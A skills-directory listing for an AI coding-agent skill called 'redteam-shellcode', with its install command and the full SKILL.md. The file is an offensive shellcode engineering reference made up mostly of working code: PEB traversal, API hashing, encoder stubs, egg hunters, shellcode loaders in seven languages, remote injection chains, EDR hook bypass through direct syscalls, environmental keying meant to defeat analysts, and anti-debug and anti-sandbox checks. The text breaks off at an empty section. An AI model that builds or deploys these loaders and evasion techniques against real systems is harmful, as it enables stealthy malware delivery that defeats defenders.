Skip to content
Back to skills

Redteam Shellcode

ASecurity

Shellcode engineering from concept to delivery. Covers position-independent code authoring (call/pop, fstenv, SEH, jmp-call-pop), Windows PEB traversal for x86 and x64 (TEB → PEB → Ldr → InMemoryOrderModuleList → EAT parsing), API hashing algorithms (djb2, crc32, fnv1a, ROR13), stack strings and encrypted string tables, null-byte elimination (XOR / SUB / insertion encoding), custom encoder-decoder stubs with rotating keys, staged versus stageless payload architecture, egg-hunter shellcode, me...

  • 16 stars
  • 0 votes
  • 0 copies
  • 7 views
  • Added November 17, 2026
securitypythonrustgojavaphpc#shellbashexpressdebugging

Works with

  • api
  • mcp

Security analysis

A100/100

Scanned November 17, 2026

npx -y skills add AnandJogawade/Zazy-Pentest-Plugin-for-Claude --skill redteam-shellcode --agent claude-code

Installs into .claude/skills of the current project.

Are you the author of Redteam Shellcode?

Add the live security badge to your README. It updates with every re-scan.

Security grade badge for Redteam Shellcode
[![Security: A — Skills Directory](https://www.skillsdirectory.com/api/skills/anandjogawade-redteam-shellcode/badge)](https://www.skillsdirectory.com/skills/anandjogawade-redteam-shellcode)

More formats (shields.io, HTML) on the badges page. Keep it an A: scan every change in CI with Pro.

Download with Pro
SKILL.md
---
name: redteam-shellcode
description: Shellcode engineering from concept to delivery. Covers position-independent code authoring (call/pop, fstenv, SEH, jmp-call-pop), Windows PEB traversal for x86 and x64 (TEB → PEB → Ldr → InMemoryOrderModuleList → EAT parsing), API hashing algorithms (djb2, crc32, fnv1a, ROR13), stack strings and encrypted string tables, null-byte elimination (XOR / SUB / insertion encoding), custom encoder-decoder stubs with rotating keys, staged versus stageless payload architecture, egg-hunter shellcode, memory allocation patterns (Allocate-Write-Execute with RW→RX transitions, direct-syscall variants via NtAllocateVirtualMemory), shellcode loaders in C, C#, PowerShell, Python, Go, Nim and Rust, PE-to-shellcode conversion (Donut, sRDI, pe2shc), reflective DLL injection internals, payload encryption (AES-256-GCM, ChaCha20-Poly1305, RC4, XOR with environmental keying), anti-debugging guards, anti-sandbox fingerprinting, obfuscation transforms (control-flow flattening, opaque predicates
keywords:
- shellcode
- PIC
- position independent code
- PEB walk
- API hashing
- null byte
- encoder
- decoder
- egg hunter
- Donut
- sRDI
- reflective DLL
- msfvenom
- shellcode loader
- AES
- ChaCha20
- environmental keying
- anti-debug
- anti-sandbox
- obfuscation
- control flow flattening
- opaque predicates
tools:
- nasm
- keystone-engine
- msfvenom
- donut
- sRDI
- pe2shc
- ScareCrow
- SysWhispers3
opsec: high
---

# Shellcode Engineering — Comprehensive Reference

Shellcode is self-contained, position-independent machine code designed to
execute without reliance on a standard executable loader. Every byte matters:
the payload must resolve its own dependencies, avoid forbidden characters,
survive transit through hostile filters, and execute in memory that may be
actively monitored by endpoint protection. This reference covers the full
lifecycle — from initial concept through deployment — with techniques drawn
from current offensive research and practical field experience.

## Development Lifecycle

```text
1. Define objective and target → platform, architecture, constraints
2. Author position-independent assembly → resolve APIs at runtime
3. Extract raw bytes → test in isolated harness
4. Eliminate forbidden bytes → null, newline, carriage return, etc.
5. Encode or encrypt → evade static signatures
6. Package inside a loader → memory allocation, decryption, execution
7. Integrate anti-analysis → sandbox checks, debugger detection
8. Validate against target defenses → AV/EDR in lab environment
```

---

## 1. POSITION-INDEPENDENT CODE (PIC) TECHNIQUES

Shellcode cannot rely on fixed addresses. Every memory reference and function
call must be resolved relative to the current instruction pointer or through
runtime lookups.

### 1.1 Call/Pop (x86 and x64)

The classic pattern: a `CALL` instruction pushes the address of the next
instruction onto the stack, then a `POP` retrieves it into a register.

```nasm
; x86 — call/pop to get EIP
    jmp short get_eip
got_eip:
    pop esi              ; ESI = address of 'data' label
    ; ... use ESI-relative offsets for data access
    jmp continue
get_eip:
    call got_eip
data:
    db "string data here", 0
continue:
    ; main shellcode body

; x64 — RIP-relative addressing is native
    lea rbx, [rip + data_label]
    ; RBX now points to data_label, no call/pop needed
```

x64 simplifies this considerably because `LEA reg, [RIP + offset]` is a
single instruction that the assembler resolves at assembly time.

### 1.2 FPU State Save (fstenv)

Leverages the FPU environment save instruction. After any FPU operation the
`FSTENV` instruction writes the FPU state to memory, including the EIP of the
last FPU instruction.

```nasm
; x86 only — fstenv technique
    fldz                     ; any FPU instruction to set last-FPU-EIP
    fnstenv [esp - 0x0C]     ; save FPU state; EIP at [esp - 0x0C]
    pop edi                  ; EDI = EIP of the FLDZ instruction
```

Useful when `CALL` instructions are filtered or monitored.

### 1.3 SEH-Based (x86 Windows)

Trigger an exception intentionally, and the Structured Exception Handler
receives the context record containing EIP.

```nasm
    xor eax, eax
    push handler_addr        ; SE handler
    push dword [fs:eax]      ; previous SEH frame
    mov [fs:eax], esp        ; install handler
    xor eax, eax
    div eax                  ; trigger divide-by-zero
handler_addr:
    ; ECX+0xB8 points to EIP in CONTEXT record
    mov eax, [ecx + 0xB8]   ; EAX = EIP at exception point
```

### 1.4 JMP-CALL-POP Pattern

A variation of call/pop that avoids placing a call instruction before the data
section — the jump goes forward past the data, then calls backward.

```nasm
    jmp short call_site
pop_site:
    pop esi                  ; ESI → data
    ; ... work with data
call_site:
    call pop_site
    ; data bytes follow immediately
    db "payload data", 0
```

---

## 2. WINDOWS API RESOLUTION — PEB TRAVERSAL

Without import tables, shellcode must locate API functions at runtime by
walking the Process Environment Block.

### 2.1 x64 PEB Walk

```nasm
; Step 1: TEB → PEB
    xor rcx, rcx
    mov rax, gs:[rcx + 0x60]       ; RAX = PEB (gs:[0x60] on x64)

; Step 2: PEB → PEB_LDR_DATA
    mov rax, [rax + 0x18]          ; RAX = PEB->Ldr

; Step 3: Ldr → InMemoryOrderModuleList
    mov rsi, [rax + 0x20]          ; RSI = first FLINK (InMemoryOrderModuleList)
    ; Module order: executable → ntdll.dll → kernel32.dll

; Step 4: Walk to kernel32.dll (third entry)
    lodsq                          ; RAX = second entry (ntdll)
    xchg rax, rsi
    lodsq                          ; RAX = third entry (kernel32)
    mov rbx, [rax + 0x20]          ; RBX = kernel32 DllBase

; Step 5: Parse Export Address Table
    mov edx, [rbx + 0x3C]          ; PE signature offset
    add rdx, rbx                   ; RDX = PE header VA
    ; Export directory RVA at PE+0x88
    mov edx, [rdx + 0x88]          ; Export directory RVA
    add rdx, rbx                   ; RDX = Export directory VA
    mov r10d, [rdx + 0x14]         ; NumberOfFunctions
    mov r11d, [rdx + 0x20]         ; AddressOfNames RVA
    add r11, rbx                   ; R11 = AddressOfNames VA

; Step 6: Search for target function by name or hash
    ; Iterate names, compare hash, resolve ordinal → function address
```

### 2.2 x86 PEB Walk

```nasm
; Step 1: TEB → PEB
    xor ecx, ecx
    mov eax, fs:[ecx + 0x30]       ; EAX = PEB (fs:[0x30] on x86)

; Step 2: PEB → Ldr
    mov eax, [eax + 0x0C]          ; EAX = PEB->Ldr

; Step 3: InMemoryOrderModuleList
    mov esi, [eax + 0x14]          ; ESI = first FLINK
    lodsd                          ; EAX = second entry (ntdll)
    xchg eax, esi
    lodsd                          ; EAX = third entry (kernel32)
    mov ebx, [eax + 0x10]          ; EBX = kernel32 DllBase

; Step 4: Parse EAT
    mov edx, [ebx + 0x3C]          ; PE sig offset
    add edx, ebx                   ; EDX = PE header
    mov edx, [edx + 0x78]          ; Export dir RVA
    add edx, ebx                   ; Export dir VA
    mov ecx, [edx + 0x18]          ; NumberOfNames
    mov edi, [edx + 0x20]          ; AddressOfNames RVA
    add edi, ebx                   ; AddressOfNames VA
```

### 2.3 Locating GetProcAddress and LoadLibraryA

Once you hold the kernel32 base and its Export Address Table, resolve
`GetProcAddress` by name comparison (or hash), then use it to resolve
`LoadLibraryA`. With both, you can dynamically load any DLL and resolve any
function at runtime — the entire Win32 API becomes available.

```text
kernel32!GetProcAddress → resolve any export from any loaded module
kernel32!LoadLibraryA   → load ws2_32.dll, winhttp.dll, user32.dll, etc.
```

### 2.4 Debugging PEB Walk (WinDbg Reference)

```
dt nt!_TEB -y ProcessEnvironmentBlock @$teb
dt nt!_PEB -y Ldr <peb_addr>
dt -r _PEB_LDR_DATA <ldr_addr>
dt _LDR_DATA_TABLE_ENTRY (<flink> - 0x10)
lm m kernel32    ; verify base address matches your walk
```

---

## 3. API HASHING ALGORITHMS

Comparing function names as plaintext strings leaves identifiable signatures.
Instead, hash each export name and compare against a precomputed constant.

### 3.1 ROR13 (Classic — Metasploit Default)

```c
// Rotate-right 13 bits, additive
uint32_t ror13_hash(const char *name) {
    uint32_t h = 0;
    while (*name) {
        h = ((h >> 13) | (h << 19));  // rotate right 13
        h += (uint32_t)*name++;
    }
    return h;
}
// GetProcAddress → 0x7C0DFCAA (well-known constant)
```

Widely recognized by defenders. Use for compatibility with Metasploit
stagers; avoid for custom work.

### 3.2 djb2

```c
uint32_t djb2_hash(const char *name) {
    uint32_t h = 5381;
    while (*name) {
        h = ((h << 5) + h) + (uint32_t)*name++;  // h * 33 + c
    }
    return h;
}
```

Simple, fast, low collision rate. Good default for custom shellcode.

### 3.3 CRC32

```c
// Use hardware CRC32 intrinsic where available
#include <nmmintrin.h>
uint32_t crc32_hash(const char *name) {
    uint32_t crc = 0xFFFFFFFF;
    while (*name) {
        crc = _mm_crc32_u8(crc, (uint8_t)*name++);
    }
    return crc ^ 0xFFFFFFFF;
}
```

Higher entropy, virtually zero collisions. Slightly larger code footprint.

### 3.4 FNV-1a

```c
uint32_t fnv1a_hash(const char *name) {
    uint32_t h = 0x811C9DC5;  // FNV offset basis
    while (*name) {
        h ^= (uint32_t)*name++;
        h *= 0x01000193;       // FNV prime
    }
    return h;
}
```

Excellent distribution. The XOR-then-multiply order (FNV-1a vs FNV-1) gives
better avalanche properties.

### 3.5 Collision Avoidance

Regardless of algorithm, verify that your target function hashes do not
collide with other exports in the same module. Precompute a collision table
during development and select an algorithm (or seed) that produces zero
collisions across your required function set.

---

## 4. STRING HANDLING

### 4.1 Stack Strings

Build strings on the stack at runtime — no data section, no embedded
plaintext.

```nasm
; x64 — push "cmd.exe\0" onto stack
    xor rax, rax
    mov rax, 0x6578652e646d63   ; "cmd.exe" (little-endian, 7 bytes)
    push rax
    mov rcx, rsp                ; RCX → "cmd.exe"
```

```c
// C equivalent — compiler may optimize away; use volatile
volatile char cmd[] = { 'c','m','d','.','e','x','e',0 };
```

### 4.2 Encrypted String Tables

Store all strings XOR-encrypted with a compile-time key. Decrypt at runtime
into a stack buffer immediately before use, then overwrite the buffer.

```c
// Encrypted string table (XOR key = 0x5A)
unsigned char enc_strings[] = {
    0x39,0x37,0x3E,0x76,0x3F,0x22,0x3F, 0x5A,  // "cmd.exe\0" ^ 0x5A
    // ... more strings
};

void decrypt_string(unsigned char *out, unsigned char *enc, int len, unsigned char key) {
    for (int i = 0; i < len; i++) out[i] = enc[i] ^ key;
}
```

### 4.3 Hashed Comparisons

Never compare full strings when matching module or function names. Hash both
sides and compare the 32-bit values — eliminates string constants entirely.

---

## 5. NULL BYTE ELIMINATION

Many injection vectors (string copies, `strcpy`-based overflows) treat `0x00`
as a terminator. Shellcode must avoid null bytes in the final binary.

### 5.1 Common Patterns and Fixes

```nasm
; PROBLEM                       ; SOLUTION
mov eax, 0                      ; xor eax, eax
mov rax, 0x00000041             ; push 0x41; pop rax
                                ; or: xor rax, rax; mov al, 0x41
mov ecx, 0x00000001             ; xor ecx, ecx; inc ecx
add rsp, 0x200                  ; sub rsp, 0xFFFFFE00  (two's complement)
                                ; or: add rsp, 0x1FF; inc rsp
jmp label (if offset has nulls) ; adjust alignment or use short jump
```

### 5.2 XOR Encoding

The most common null-elimination strategy. XOR every byte with a single-byte
key chosen to never produce `0x00` in the output. Prepend a decoder stub.

```nasm
; XOR decoder stub (x86)
    jmp short encoded
decoder:
    pop esi                  ; ESI → encoded shellcode
    xor ecx, ecx
    mov cl, SHELLCODE_LEN    ; length (must be < 256 for cl)
decode_loop:
    xor byte [esi], XOR_KEY
    inc esi
    loop decode_loop
    jmp short decoded_start
encoded:
    call decoder
    ; ... XOR-encoded shellcode bytes ...
decoded_start:
    ; execution continues here after decode
```

### 5.3 SUB Encoding

Replace each byte `B` with `B + K mod 256` where `K` is chosen so no encoded
byte is null. The decoder subtracts `K` from each byte.

### 5.4 Insertion Encoding

Insert a marker byte (e.g., `0xAA`) after every real byte. The decoder strips
markers, reconstructing the original payload. Doubles the size but eliminates
any single forbidden byte.

### 5.5 Multi-Byte XOR with Rotating Key

```python
# Python encoder — 4-byte rotating XOR key
key = b'\xDE\xAD\xBE\xEF'
encoded = bytes([sc[i] ^ key[i % len(key)] for i in range(len(sc))])
# Verify no null bytes
assert b'\x00' not in encoded, "Null byte in output — change key"
```

The decoder stub must reconstruct the same key and XOR each byte with the
corresponding key byte by index modulo key length.

---

## 6. STAGED VERSUS STAGELESS ARCHITECTURE

### 6.1 Staged Payloads

```text
Stage 0 (stager):  Small (~300-500 bytes), fits in tight injection spaces.
                   Connects to C2, downloads Stage 1, executes it.
Stage 1 (stage):   Full implant (Meterpreter, Beacon, custom agent).
                   Loaded entirely in memory — never touches disk.
```

**Advantages:** Small initial footprint, updatable stage, single stager for
multiple payloads. **Disadvantages:** Requires network callback before full
capability, stager-to-stage handoff is a detection point.

### 6.2 Stageless Payloads

```text
Single payload:    Contains the complete implant. No network callback
                   required before full capability is available.
```

**Advantages:** Self-contained, works in air-gapped environments, no
stager-stage network signature. **Disadvantages:** Larger size (50KB-500KB+),
harder to fit in constrained injection spaces.

### 6.3 Selection Criteria

| Factor | Staged | Stageless |
|--------|--------|-----------|
| Size constraint (<1KB) | ✓ | ✗ |
| Air-gapped target | ✗ | ✓ |
| Network monitoring | Callback detected | No callback |
| Payload flexibility | High (swap stages) | Low (recompile) |
| Detection surface | Stager + callback + stage | Single binary |

---

## 7. EGG HUNTER SHELLCODE

When injection space is too small for the full payload: inject the small egg
hunter, place the full payload elsewhere in memory with a unique marker (the
"egg"), and the hunter searches memory until it finds the egg.

### 7.1 Windows Egg Hunter (NtAccessCheckAndAuditAlarm — 32 bytes)

```nasm
; Egg: 0x50905090 repeated twice (8-byte tag)
    xor edx, edx
next_page:
    or dx, 0x0FFF             ; align to page boundary
next_addr:
    inc edx
    push edx
    push 0x02                 ; SystemCallNumber for NtAccessCheck...
    pop eax
    int 0x2E                  ; syscall
    cmp al, 0x05              ; STATUS_ACCESS_VIOLATION
    je next_page              ; skip inaccessible pages
    pop edx
    mov eax, 0x50905090       ; egg tag
    mov edi, edx
    scasd                     ; compare [edi] with eax
    jnz next_addr
    scasd                     ; compare second copy
    jnz next_addr
    jmp edi                   ; egg found — jump to payload
```

### 7.2 Linux Egg Hunter (access syscall)

```nasm
    xor ecx, ecx
next_page:
    or cx, 0x0FFF
next_addr:
    inc ecx
    push 0x21                 ; __NR_access
    pop eax
    lea ebx, [ecx + 4]
    int 0x80
    cmp al, 0xF2              ; EFAULT
    je next_page
    mov eax, 0x50905090       ; egg
    mov edi, ecx
    scasd
    jnz next_addr
    scasd
    jnz next_addr
    jmp edi
```

---

## 8. MEMORY ALLOCATION AND INJECTION PATTERNS

### 8.1 Allocate-Write-Execute (Local Process)

```c
// Step 1: Allocate RW
void *mem = VirtualAlloc(NULL, sc_len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);

// Step 2: Write shellcode
memcpy(mem, shellcode, sc_len);

// Step 3: Change to RX (never leave RWX)
DWORD old;
VirtualProtect(mem, sc_len, PAGE_EXECUTE_READ, &old);

// Step 4: Execute
((void(*)())mem)();
```

### 8.2 Direct Syscall Variant (Bypass Userland Hooks)

```c
// Use NtAllocateVirtualMemory directly instead of VirtualAlloc
// Avoids ntdll hooks placed by EDR

NTSTATUS status;
PVOID base = NULL;
SIZE_T size = sc_len;

// Resolve syscall number dynamically (Hell's Gate / Halo's Gate)
// Set up registers: mov r10, rcx; mov eax, SSN
// Execute: syscall

status = NtAllocateVirtualMemory(
    (HANDLE)-1,     // current process
    &base,
    0,
    &size,
    MEM_COMMIT | MEM_RESERVE,
    PAGE_READWRITE
);

// Write shellcode to base
// NtProtectVirtualMemory to switch RW → RX
// Create thread or use callback execution
```

### 8.3 Section Mapping (Alternative to VirtualAlloc)

```c
// Create section object
HANDLE hSection;
LARGE_INTEGER secSize = { .QuadPart = sc_len };
NtCreateSection(&hSection, SECTION_ALL_ACCESS, NULL, &secSize, PAGE_EXECUTE_READWRITE, SEC_COMMIT, NULL);

// Map RW view for writing
PVOID localView = NULL;
SIZE_T viewSize = 0;
NtMapViewOfSection(hSection, (HANDLE)-1, &localView, 0, 0, NULL, &viewSize, ViewUnmap, 0, PAGE_READWRITE);

// Write shellcode
memcpy(localView, shellcode, sc_len);

// Map RX view in target process (or remap local as RX)
PVOID remoteView = NULL;
NtMapViewOfSection(hSection, hTarget, &remoteView, 0, 0, NULL, &viewSize, ViewUnmap, 0, PAGE_EXECUTE_READ);
```

### 8.4 Remote Process Injection

```text
Classic chain (heavily monitored):
1. OpenProcess(target_pid)
2. VirtualAllocEx(RW) in target
3. WriteProcessMemory(shellcode)
4. VirtualProtectEx(RX)
5. CreateRemoteThread(start = shellcode_addr)

Each call is a hook point for EDR. Prefer:
- APC injection (QueueUserAPC to alertable thread)
- Thread hijack (SuspendThread → GetThreadContext → modify RIP → ResumeThread)
- Callback execution (no new thread — use EnumFonts, CreateTimerQueueTimer, etc.)
- Module stomping (overwrite .text of loaded benign DLL)
```

---

## 9. SHELLCODE LOADERS BY LANGUAGE

### 9.1 C Loader

```c
#include <windows.h>
#include <stdio.h>

unsigned char sc[] = { /* shellcode bytes */ };

int main() {
    void *mem = VirtualAlloc(NULL, sizeof(sc), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
    memcpy(mem, sc, sizeof(sc));
    DWORD old;
    VirtualProtect(mem, sizeof(sc), PAGE_EXECUTE_READ, &old);
    ((void(*)())mem)();
    return 0;
}
// Compile: x86_64-w64-mingw32-gcc -o loader.exe loader.c
```

### 9.2 C# Loader

```csharp
using System;
using System.Runtime.InteropServices;

class Loader {
    [DllImport("kernel32.dll")] static extern IntPtr VirtualAlloc(IntPtr a, uint s, uint t, uint p);
    [DllImport("kernel32.dll")] static extern bool VirtualProtect(IntPtr a, uint s, uint p, out uint o);
    [DllImport("kernel32.dll")] static extern IntPtr CreateThread(IntPtr a, uint s, IntPtr r, IntPtr p, uint f, IntPtr i);
    [DllImport("kernel32.dll")] static extern uint WaitForSingleObject(IntPtr h, uint m);

    static void Main() {
        byte[] sc = new byte[] { /* shellcode bytes */ };
        IntPtr mem = VirtualAlloc(IntPtr.Zero, (uint)sc.Length, 0x3000, 0x04); // RW
        Marshal.Copy(sc, 0, mem, sc.Length);
        VirtualProtect(mem, (uint)sc.Length, 0x20, out uint old); // RX
        IntPtr t = CreateThread(IntPtr.Zero, 0, mem, IntPtr.Zero, 0, IntPtr.Zero);
        WaitForSingleObject(t, 0xFFFFFFFF);
    }
}
```

### 9.3 PowerShell Loader

```powershell
[Byte[]] $sc = 0x48,0x31,0xC9,<# ... shellcode bytes ... #>

$mem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($sc.Length)
[System.Runtime.InteropServices.Marshal]::Copy($sc, 0, $mem, $sc.Length)

# Requires P/Invoke for VirtualProtect and CreateThread
# Or use delegates:
$funcType = [System.Linq.Expressions.Expression]::GetDelegateType([IntPtr])
$delegate = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($mem, $funcType)
$delegate.Invoke()
```

### 9.4 Python Loader (ctypes)

```python
import ctypes

sc = bytearray(b"\x48\x31\xC9...")  # shellcode bytes

k32 = ctypes.windll.kernel32
k32.VirtualAlloc.restype = ctypes.c_void_p
ptr = k32.VirtualAlloc(0, len(sc), 0x3000, 0x04)  # RW
ctypes.memmove(ptr, bytes(sc), len(sc))
old = ctypes.c_uint32()
k32.VirtualProtect(ptr, len(sc), 0x20, ctypes.byref(old))  # RX
ht = k32.CreateThread(0, 0, ptr, 0, 0, 0)
k32.WaitForSingleObject(ht, -1)
```

### 9.5 Go Loader

```go
package main

import (
    "syscall"
    "unsafe"
)

func main() {
    sc := []byte{0x48, 0x31, 0xC9 /* ... */}
    kernel32 := syscall.MustLoadDLL("kernel32.dll")
    virtualAlloc := kernel32.MustFindProc("VirtualAlloc")
    ptr, _, _ := virtualAlloc.Call(0, uintptr(len(sc)), 0x3000, 0x04) // RW
    for i, b := range sc {
        *(*byte)(unsafe.Pointer(ptr + uintptr(i))) = b
    }
    virtualProtect := kernel32.MustFindProc("VirtualProtect")
    var old uint32
    virtualProtect.Call(ptr, uintptr(len(sc)), 0x20, uintptr(unsafe.Pointer(&old))) // RX
    syscall.SyscallN(ptr)
}
// Build: GOOS=windows GOARCH=amd64 go build -ldflags="-s -w" -o loader.exe
```

### 9.6 Nim Loader

```nim
import winim

var sc: array[256, byte] = [byte 0x48, 0x31, 0xC9]  # shellcode bytes

proc main() =
    let mem = VirtualAlloc(nil, sc.len.SIZE_T, MEM_COMMIT or MEM_RESERVE, PAGE_READWRITE)
    copyMem(mem, sc[0].addr, sc.len)
    var old: DWORD
    VirtualProtect(mem, sc.len.SIZE_T, PAGE_EXECUTE_READ, old.addr)
    let f = cast[proc() {.stdcall.}](mem)
    f()

main()
# Compile: nim c -d:mingw --app:gui -d:release loader.nim
```

### 9.7 Rust Loader

```rust
use std::ptr;
use winapi::um::memoryapi::{VirtualAlloc, VirtualProtect};
use winapi::um::winnt::{MEM_COMMIT, MEM_RESERVE, PAGE_READWRITE, PAGE_EXECUTE_READ};

fn main() {
    let sc: Vec<u8> = vec![0x48, 0x31, 0xC9]; // shellcode bytes
    unsafe {
        let mem = VirtualAlloc(ptr::null_mut(), sc.len(), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
        ptr::copy_nonoverlapping(sc.as_ptr(), mem as *mut u8, sc.len());
        let mut old: u32 = 0;
        VirtualProtect(mem, sc.len(), PAGE_EXECUTE_READ, &mut old);
        let func: fn() = std::mem::transmute(mem);
        func();
    }
}
// Build: cargo build --release --target x86_64-pc-windows-gnu
```

---

## 10. PE-TO-SHELLCODE CONVERSION

### 10.1 Donut

Converts .NET assemblies, EXEs, DLLs, VBScript, and JScript into
position-independent shellcode that loads and executes entirely in memory.

```bash
# Convert .NET assembly to shellcode
donut -i Rubeus.exe -o rubeus.bin -a 2 -f 1
# -a 2 = x64, -f 1 = raw output

# Convert native EXE
donut -i implant.exe -o implant.bin -a 2

# Convert DLL with specific export
donut -i payload.dll -o payload.bin -a 2 -m DllMain

# With encryption and decoy module name
donut -i tool.exe -o tool.bin -a 2 -e 3 -z 2
# -e 3 = random key, -z 2 = aPLib compression
```

### 10.2 sRDI (Shellcode Reflective DLL Injection)

Converts a standard DLL into position-independent shellcode that performs its
own reflective loading.

```python
# Generate shellcode from DLL
python3 ConvertToShellcode.py -f payload.dll -o payload.bin
# Optionally specify function to call and userdata
python3 ConvertToShellcode.py -f payload.dll -o payload.bin -d "argument_data"
```

### 10.3 pe2shc

Wraps a PE file with a minimal loader stub that performs relocation and import
resolution, producing standalone shellcode.

```bash
pe2shc payload.exe payload.shc.exe
# Output is a valid PE where the entry point is shellcode that loads the original PE
```

---

## 11. REFLECTIVE DLL INJECTION

A technique where a DLL contains its own loader code, eliminating the need for
`LoadLibrary`. The DLL maps itself into memory, resolves its imports, and
executes — without registering in the PEB module list.

```text
Reflective loading sequence:
1. Find DLL base address in memory (call/pop or parameter)
2. Parse PE headers (DOS → NT → Optional → Section headers)
3. Allocate memory at preferred base (or relocate)
4. Copy sections to their virtual addresses
5. Process base relocations if loaded at non-preferred address
6. Walk import table, LoadLibrary each dependency, resolve each function
7. Execute TLS callbacks if present
8. Call DllMain(DLL_PROCESS_ATTACH)
```

**Key advantage:** The loaded DLL never appears in the PEB
`InMemoryOrderModuleList` — invisible to `EnumProcessModules` and similar
enumeration APIs.

---

## 12. PAYLOAD ENCRYPTION

### 12.1 XOR with Environmental Keying

Derive the decryption key from a target-specific environmental value
(hostname, domain, username, MAC address). The shellcode decrypts only on the
intended target — useless to sandboxes and analysts.

```c
// Key derived from computer name
char compName[256];
DWORD size = 256;
GetComputerNameA(compName, &size);
uint32_t key = djb2_hash(compName);

// XOR decrypt shellcode
for (int i = 0; i < sc_len; i++) {
    sc[i] ^= ((uint8_t*)&key)[i % 4];
}
```

### 12.2 AES-256-GCM

```c
// Use Windows BCrypt API for AES-256-GCM
// Key can be derived from environment (PBKDF2 of hostname)
BCryptOpenAlgorithmProvider(&hAlg, BCRYPT_AES_ALGORITHM, NULL, 0);
BCryptSetProperty(hAlg, BCRYPT_CHAINING_MODE, BCRYPT_CHAIN_MODE_GCM, ...);
BCryptGenerateSymmetricKey(hAlg, &hKey, NULL, 0, key_bytes, 32, 0);
BCryptDecrypt(hKey, encrypted_sc, sc_len, &authInfo, iv, 12, decrypted_sc, sc_len, &result, 0);
// Execute decrypted_sc
```

### 12.3 ChaCha20-Poly1305

Faster than AES on platforms without hardware AES-NI. Use a lightweight
embedded implementation (e.g., from monocypher or libsodium) compiled into the
loader.

### 12.4 RC4

Simple stream cipher — small code footprint, but weaker security. Suitable
when size is critical and the goal is signature evasion rather than
cryptographic strength.

```c
void rc4(unsigned char *key, int keylen, unsigned char *data, int datalen) {
    unsigned char S[256];
    int i, j = 0;
    for (i = 0; i < 256; i++) S[i] = i;
    for (i = 0; i < 256; i++) {
        j = (j + S[i] + key[i % keylen]) % 256;
        unsigned char t = S[i]; S[i] = S[j]; S[j] = t;
    }
    i = j = 0;
    for (int k = 0; k < datalen; k++) {
        i = (i + 1) % 256;
        j = (j + S[i]) % 256;
        unsigned char t = S[i]; S[i] = S[j]; S[j] = t;
        data[k] ^= S[(S[i] + S[j]) % 256];
    }
}
```

---

## 13. ANTI-DEBUGGING TECHNIQUES

Embed checks in the shellcode or loader to detect debuggers and analysis
environments.

### 13.1 Windows Anti-Debug Checks

```c
// PEB.BeingDebugged flag
BOOL isDebugged = ((PPEB)__readgsqword(0x60))->BeingDebugged;
if (isDebugged) ExitProcess(0);

// NtGlobalFlag (PEB offset 0xBC on x64)
// Value 0x70 when debugger attached (FLG_HEAP_ENABLE_TAIL_CHECK | FREE_CHECK | VALIDATE)
DWORD ntGlobalFlag = *(DWORD*)((PBYTE)__readgsqword(0x60) + 0xBC);
if (ntGlobalFlag & 0x70) ExitProcess(0);

// IsDebuggerPresent API
if (IsDebuggerPresent()) ExitProcess(0);

// CheckRemoteDebuggerPresent
BOOL debugged = FALSE;
CheckRemoteDebuggerPresent(GetCurrentProcess(), &debugged);
if (debugged) ExitProcess(0);

// Timing check — RDTSC
uint64_t t1 = __rdtsc();
// ... small operation ...
uint64_t t2 = __rdtsc();
if ((t2 - t1) > 1000000) ExitProcess(0);  // single-stepping detected

// Hardware breakpoint detection (DR registers)
CONTEXT ctx = { .ContextFlags = CONTEXT_DEBUG_REGISTERS };
GetThreadContext(GetCurrentThread(), &ctx);
if (ctx.Dr0 || ctx.Dr1 || ctx.Dr2 || ctx.Dr3) ExitProcess(0);

// NtQueryInformationProcess — ProcessDebugPort
DWORD_PTR debugPort = 0;
NtQueryInformationProcess(GetCurrentProcess(), 7, &debugPort, sizeof(debugPort), NULL);
if (debugPort) ExitProcess(0);
```

### 13.2 Linux Anti-Debug Checks

```c
// TracerPid in /proc/self/status
FILE *f = fopen("/proc/self/status", "r");
char line[256];
while (fgets(line, sizeof(line), f)) {
    if (strncmp(line, "TracerPid:", 10) == 0) {
        int pid = atoi(line + 10);
        if (pid != 0) _exit(0);  // being traced
    }
}

// ptrace self-attach
if (ptrace(PTRACE_TRACEME, 0, 0, 0) == -1) _exit(0);  // already traced
```

---

## 14. ANTI-SANDBOX FINGERPRINTING

### 14.1 Hardware Checks

```c
// CPU count — most sandboxes allocate 1-2 CPUs
SYSTEM_INFO si;
GetSystemInfo(&si);
if (si.dwNumberOfProcessors < 2) ExitProcess(0);

// RAM — sandboxes often have < 4GB
MEMORYSTATUSEX ms = { .dwLength = sizeof(ms) };
GlobalMemoryStatusEx(&ms);
if (ms.ullTotalPhys < (4ULL * 1024 * 1024 * 1024)) ExitProcess(0);

// Disk size — < 60GB is suspicious
ULARGE_INTEGER diskSize;
GetDiskFreeSpaceExA("C:\\", NULL, &diskSize, NULL);
if (diskSize.QuadPart < (60ULL * 1024 * 1024 * 1024)) ExitProcess(0);
```

### 14.2 Behavioral Checks

```c
// System uptime — fresh sandbox VMs have low uptime
if (GetTickCount64() < (10 * 60 * 1000)) ExitProcess(0);  // < 10 minutes

// User interaction — check for recent mouse movement
LASTINPUTINFO li = { .cbSize = sizeof(li) };
GetLastInputInfo(&li);
if ((GetTickCount() - li.dwTime) > 60000) ExitProcess(0);  // no input in 60s

// Recent documents — real users have files
WIN32_FIND_DATAA fd;
HANDLE hFind = FindFirstFileA("C:\\Users\\*\\Desktop\\*", &fd);
int fileCount = 0;
if (hFind != INVALID_HANDLE_VALUE) {
    do { fileCount++; } while (FindNextFileA(hFind, &fd));
    FindClose(hFind);
}
if (fileCount < 5) ExitProcess(0);  // suspiciously empty desktop
```

### 14.3 VM Detection

```c
// Known VM process names
const char *vmProcs[] = { "vmtoolsd.exe", "vmwaretray.exe", "VBoxService.exe",
                          "VBoxTray.exe", "vmusrvc.exe", "vmsrvc.exe", NULL };

// Known VM registry keys
// HKLM\SOFTWARE\VMware, Inc.
// HKLM\SOFTWARE\Oracle\VirtualBox Guest Additions
// HKLM\SYSTEM\CurrentControlSet\Services\VBoxGuest

// MAC address OUI prefix
// VMware: 00:0C:29, 00:50:56
// VirtualBox: 08:00:27
// Hyper-V: 00:15:5D

// CPUID hypervisor bit
int cpuInfo[4];
__cpuid(cpuInfo, 1);
if (cpuInfo[2] & (1 << 31)) ExitProcess(0);  // hypervisor present
```

### 14.4 Sleep Acceleration Detection

```c
